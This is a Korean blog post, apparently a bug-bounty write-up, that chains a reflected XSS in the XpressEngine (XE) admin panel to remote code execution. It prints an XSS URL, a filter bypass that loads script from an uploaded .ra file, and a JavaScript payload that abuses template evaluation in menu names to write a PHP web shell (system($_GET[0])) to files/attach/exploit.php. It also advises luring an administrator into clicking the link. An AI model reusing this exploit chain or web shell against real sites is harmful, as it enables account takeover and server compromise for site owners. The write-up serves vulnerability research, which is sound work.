2017년 5월 22일 월요일

XE XSS to RCE

먼저 타켓을 XE로 잡게된 이유는 XE에서 자체적으로 버그 바운티 제도를 운영 한다는 소리를 듣고 타켓으로 선정 하기로 하였다.

자세한 내용은 아래 링크와 사진을 참고 하면 될거 같다.



https://www.xpressengine.com/security_bounty_program

타켓 선정을 한 후 XE의 소스를 다운 받아 구조부터 차근 차근 살펴 보기 시작 하였다.

일주일이 지나도 취약점은 나오지 나오지 않았고 오직 RCE또는 로직 우회 같은 취약점들의 가능성만 보이는거 같아 다시 xe기능을 살펴 보던중 XE 디비중 xe_menu_item 테이블에서



{$lang->menu_gnb_sub['userList']} 이런식으로 값을 저장을 하는걸 볼수 있었다.

보고 아 이거구나 하고 이 테이블에 어떻게 값을 넣을수 있는지 찾다보니 게시판 메뉴를 추가를 할때 저기에 추가가 되는것을 확인 할수 있었고 게시판 메뉴 이름을 {${phpinfo()}} 이런식으로 설정을 해주면 메인 페이지에서 phpinfo가 실행 되는것을 확인 할수 있었다.



이제 정상적으로 코드를 실행 할수 있는 방법을 찾았으나 문제가 있었다. 왜냐면 admin 권한이 있어야지 공격이 성공하기 때문이다 그래서 생각한게 XSS를 찾자 라는 생각이였고 그후 생각한게 어짜피 admin을 타켓으로 공격 할것인데 굳이 힘들게 user권한으로만 접근 할수 있는 페이지에서 찾지 말고 admin 페이지에서 xss를 찾자였다. 왜냐하면 admin 페이지는 대체로 좀 많이 취약하기 때문이다 하하하

그 후 xss를 찾기 시도 하자마자 바로 reflected xss을 찾았다.
http://10.211.55.3/xe/index.php?module=admin&act=dispFileAdminList&search_target=isvalid">exploit

xss를 찾은후 익스를 하다보니 문제가 생겼다 무슨 문제냐면 reflected xss는 브라우저의 영향 받게 되는데 난 영향을 받는게 매우 싫었고 갑자기 필터링을 우회 하는 방법을 정리해둔 블로그가 생각이 났고 따라 해보니 실제로 되었다.(생각해보니 임준오가 먼저 말해준거 같다)

방법은 아래 처럼 하면 된다. (매우 간단)

1. 서버에 우선 javascript가 들어있는 txt파일을 올린다.
2. http://10.211.55.3/xss.php?xss=%3Cscript%20src=%27./test.txt%27%3E%3C/script%3E
이런식으로 script src로 txt 파일을 불러오면 된다




짠! 우회가 되었다. 이제 모든 준비가 끝났다.

이제 XE에 script 파일을 업로드 한후 그 경로만 가져오면 끝난다.
하지만 일반 파일을 업로드 하면 경로를 안주고 .ra .jpg .video같은 확장자를 올려야지 경로를 뱉어 주길래 exploit.ra파일에 아래 내용을 담은후 경로를 가져온후 익스를 완성 시키면된다.


var xhr = new XMLHttpRequest();
xhr.open("POST","/xe/");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("ruleset=insertMenuItem&act=procMenuAdminInsertItem&menu_name_key=&menu_name={${file_put_contents('./files/attach/exploit.php', '<?php system($_GET[0]); ?>')}}&menu_desc=&module_type=ARTICLE&menu_open_window=N&menu_expand=N&is_shortcut=N&parent_srl=65&module_id=&module=menu");


http://10.211.55.3/xe/index.php?module=admin&act=dispFileAdminList&search_target=isvalid"><script src='{ra file path}’></script></span>

그 후 1:1 문의나 쪽지 또는 게시글에 admin이 클릭 하게 유도를 하게 되면 files/attach/ 에 exploit.php파일이 생성 된다. (익스를 더 완벽하게 할려면 주소 줄이기 같은걸 이용해도 좋다)


위 사진은 쉘을 업로드 한후 커맨드를 실행한 모습이다.



댓글 1개: